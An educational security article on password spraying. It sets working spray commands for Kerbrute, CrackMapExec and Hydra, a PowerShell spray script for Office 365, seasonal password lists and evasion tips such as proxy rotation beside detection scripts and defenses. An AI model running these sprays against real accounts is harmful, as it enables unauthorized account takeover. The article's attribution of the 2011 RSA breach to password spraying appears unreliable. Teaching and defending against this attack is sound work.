GO KALI FREE
IntermediateSecurity

Password Spraying: Low-and-Slow Credential Attacks

Understand password spraying attacks that bypass account lockout by trying common passwords across many accounts, with detection and defense strategies.

#Password Spraying#Credential Attacks#Authentication#Account Security#Active Directory

The One Password That Opened a Thousand Doors

In 2022, attackers targeted a major financial institution not by guessing one executive's password a thousand times, but by trying "Spring2022!" once against every employee's account. Ten accounts accepted the password — including a domain administrator. This is password spraying: the low-and-slow credential attack that bypasses lockout policies by spreading guesses across many accounts.

Password spraying is a credential attack where an attacker tries a small set of common passwords against many user accounts. Unlike brute force which targets one account with many passwords, password spraying targets many accounts with few passwords.

Prerequisites

Before studying password spraying, you should understand:

  • **Authentication Attacks** — Login mechanisms and protocols
  • **Active Directory Fundamentals** — Domain user accounts
  • **Password Security Guide** — Password policies
  • **Credential Stuffing** — Related credential attacks
  • How Password Spraying Works

    The Attack Pattern

    Traditional Brute Force:
    Account A: password1, password2, password3... [LOCKOUT]
    Account B: password1, password2... [LOCKOUT]
    
    Password Spraying:
    Account A: Spring2026!
    Account B: Spring2026!
    Account C: Spring2026!
    [Wait 30 minutes]
    Account A: Summer2026!
    Account B: Summer2026!
    Account C: Summer2026!
    

    Why It Is Effective

  • **Bypasses lockout** — Lockout triggers on 5+ attempts per account, not 1 attempt across accounts
  • **Exploits weak passwords** — Common passwords like "Spring2026!" or "CompanyName1" are frequently used
  • **Low noise** — A single login attempt per account appears normal in logs
  • **Works on all protocols** — VPN, OWA, Office 365, SSH, RDP, Active Directory
  • Password Spraying Tools

    Using Kerbrute (Active Directory)

    # Password spray with Kerbrute (no domain admin needed)
    ./kerbrute passwordspray -d corp.com domain_users.txt 'Spring2026!'
    
    # With valid account for pre-authentication
    ./kerbrute passwordspray -d corp.com domain_users.txt 'Summer2026!' --dc 192.168.1.10
    

    Using CrackMapExec

    # Spray a single password
    crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2026!'
    
    # Spray with delays
    crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2026!' --delay 30
    
    # Check what authentication works
    crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2026!' --continue-on-success
    

    Using Hydra

    # HTTP form-based spray
    hydra -L users.txt -p 'Spring2026!' target.com http-post-form   "/login:user=^USER^&pass=^PASS^:F=Invalid credentials"
    
    # RDP spray (one password, many users)
    hydra -L users.txt -p 'Spring2026!' rdp://target.com
    

    Custom PowerShell Script

    # Password spraying against Office 365
    $users = Get-Content .\users.txt
    $password = "Spring2026!"
    $securePass = ConvertTo-SecureString $password -AsPlainText -Force
    
    foreach ($user in $users) {
        $cred = New-Object System.Management.Automation.PSCredential($user, $securePass)
        try {
            # Attempt authentication against Exchange Online
            $session = New-PSSession -Credential $cred -ErrorAction Stop
            Write-Host "[+] Success: $user" -ForegroundColor Green
            Remove-PSSession $session
        } catch {
            Write-Host "[-] Failed: $user" -ForegroundColor Red
        }
        Start-Sleep -Seconds 30  # Avoid lockout
    }
    

    Common Passwords to Spray

    Based on annual password lists and seasonal patterns:

    # Seasonal passwords
    Spring2026!  Summer2026!  Fall2026!  Winter2026!
    
    # Month-Year combinations
    January2026!  March2026!  June2026!
    
    # Company name variations
    CompanyName1!  CompanyName2026!  CorpName1!
    
    # Common patterns
    Password1!  Password123!  Welcome1!
    ChangeMe1!  Admin2026!  Temp1234!
    
    # Reading from a file
    cat /usr/share/wordlists/seclists/Passwords/Common_Credentials/seasonal_passwords.txt
    

    Creating a User List

    Enumerating Users

    # From LinkedIn or company website
    # Pattern: first.last@company.com
    
    # Using kerbrute for user enumeration
    ./kerbrute userenum -d corp.com --dc 192.168.1.10 usernames.txt
    
    # Using Nmap LDAP scripts
    nmap -p 389 --script ldap-search --script-args 'base="dc=corp,dc=com"' target.com
    
    # Using Metasploit auxiliary modules
    msf6 > use auxiliary/gather/ldap_query
    

    Detection and Defense

    Monitoring for Password Sprays

    # Windows Event IDs to monitor
    # 4625: Failed logon (single failure from different accounts)
    # 4771: Kerberos pre-authentication failed
    # 4648: Explicit credential logon
    
    # PowerShell detection script
    $threshold = 10  # Failed attempts from same IP
    $timeWindow = 10 # Minutes
    
    Get-WinEvent -FilterHashtable @{
        LogName='Security'
        ID=4625
        StartTime=(Get-Date).AddMinutes(-$timeWindow)
    } | Group-Object -Property @{
        Expression={$_.Properties[18].Value}  # Source IP
    } | Where-Object Count -gt $threshold | ForEach-Object {
        Write-Warning "Password spray detected from $($_.Name) — $($_.Count) attempts"
    }
    

    Preventive Measures

    # 1. Account Lockout Policy (Windows)
    # Default domain policy settings:
    # Account lockout threshold: 10 invalid attempts
    # Account lockout duration: 30 minutes
    # Reset account lockout counter after: 30 minutes
    
    # 2. Enable MFA for all accounts
    
    # 3. Implement smart lockout (Azure AD)
    # Locks after first failed attempt from unfamiliar location
    
    # 4. Use conditional access policies
    # Block sign-ins from unexpected countries
    # Block legacy authentication protocols
    

    Strong Password Policies

    # Modern password recommendations
    # Length: 14+ characters
    # Complexity: Not required if long enough
    # No periodic rotation requirement
    # Check against breached password lists
    
    # Disable common weak passwords
    net accounts /minpwlen:14
    net accounts /lockoutthreshold:10
    

    Real-World Examples

    Office 365 Password Spray (2019): Attackers targeted thousands of Office 365 tenants with password sprays using seasonal passwords like "Summer2019", compromising accounts across multiple organizations.

    CISA Warning (2020): The US Cybersecurity and Infrastructure Security Agency warned of widespread password spraying campaigns targeting cloud services, government agencies, and critical infrastructure.

    RSA Breach (2011): The attack that compromised RSA's SecurID tokens used password spraying and spear phishing as initial access vectors.

    Common Mistakes

    Spraying too fast: Rapid spray attempts from the same IP trigger detection. Use delays between attempts.

    Using obvious passwords: "Password1" and "Company123" are monitored by security teams.

    Ignoring geographic patterns: Login attempts from unexpected countries are red flags.

    Spraying from corporate IP: Never spray from your own organization's IP range.

    Best Practices

  • **Use delays between attempts** — 30-60 seconds minimum
  • **Rotate source IPs** — Use proxies or VPNs to avoid IP-based detection
  • **Target non-MFA users first** — Check for MFA-enabled accounts
  • **Use seasonal passwords** — Align with common organizational patterns
  • **Stay within lockout limits** — 1-2 attempts per account per 24 hours
  • **Document all testing** — For authorized penetration tests only
  • Related Tools

  • **Kerbrute** — Active Directory password spraying via Kerberos
  • **CrackMapExec** — Multi-protocol credential testing
  • **Hydra** — Network login cracker
  • **Spray** — Python password spraying tool
  • **SprayingToolkit** — Password spraying for cloud services
  • Related Articles

  • Authentication Attacks
  • Credential Stuffing
  • Brute Force Fundamentals
  • Password Auditing
  • Summary

    Password spraying bypasses account lockout by trying one common password across many accounts rather than many passwords against one account. It is highly effective against organizations with weak password policies. Defenses include lockout policies, MFA, anomaly detection, and monitoring for single-failure events across multiple accounts.

    Knowledge Check

  • How does password spraying differ from brute force attacks?
  • Why is password spraying effective against account lockout policies?
  • What Event IDs should be monitored for password spray detection?
  • How can delays between attempts help attackers evade detection?
  • What makes seasonal passwords attractive targets for spraying?
  • Frequently Asked Questions

    What is password spraying?

    Password spraying is a credential attack where an attacker tries one common password against many accounts instead of many passwords against one account. This technique bypasses account lockout policies because each account only receives one or two login attempts.

    How does password spraying differ from brute force?

    Brute force targets a single account with thousands of passwords, triggering lockout quickly. [Password spraying](/articles/password-spraying) tries one password across hundreds of accounts, keeping each account below the lockout threshold while still compromising many accounts.

    Why is password spraying effective against Active Directory?

    Active Directory typically has lockout thresholds of 5-10 attempts, but password spraying only uses 1-2 attempts per account. Combined with weak seasonal passwords like 'Spring2026!', attackers can compromise dozens of accounts without triggering alerts.

    What tools are used for password spraying?

    Common tools include Kerbrute (Active Directory via Kerberos), CrackMapExec (multi-protocol), Hydra (network services), and custom PowerShell scripts for cloud services like Office 365. Each tool supports delays between attempts to evade detection.

    What are common passwords used in spraying attacks?

    Seasonal patterns (Spring2026!, Summer2026!), company name variations (CompanyName1!), default passwords (Password1!, Welcome1!), and month-year combinations (January2026!) are the most common. Attackers research organizations to create targeted lists.

    How do I detect password spraying?

    Monitor Windows Event ID 4625 (failed logon) for multiple accounts failing from the same source IP within a short window. Also watch for Event ID 4771 (Kerberos pre-auth failure) and use SIEM correlation rules to identify the low-and-slow pattern.

    How can organizations defend against password spraying?

    Enable MFA for all accounts, implement smart lockout policies, deploy conditional access to block impossible travel logins, enforce 14+ character passwords, and check new passwords against breached password databases. See our [MFA Security guide](/articles/mfa-security-deep-dive) for details.

    What is the best delay between password spray attempts?

    Use 30-60 seconds between attempts per account to stay below detection thresholds. Some attackers wait 30-60 minutes between spray rounds targeting different passwords. Faster spraying generates more Event 4625 entries from a single source, increasing detection risk.

    Can password spraying work against cloud services like Office 365?

    Yes, password spraying is highly effective against cloud services. Attackers use tools like SprayingToolkit or custom scripts targeting Exchange Online and Azure AD endpoints. Microsoft recommends enabling password protection policies and blocking legacy authentication protocols.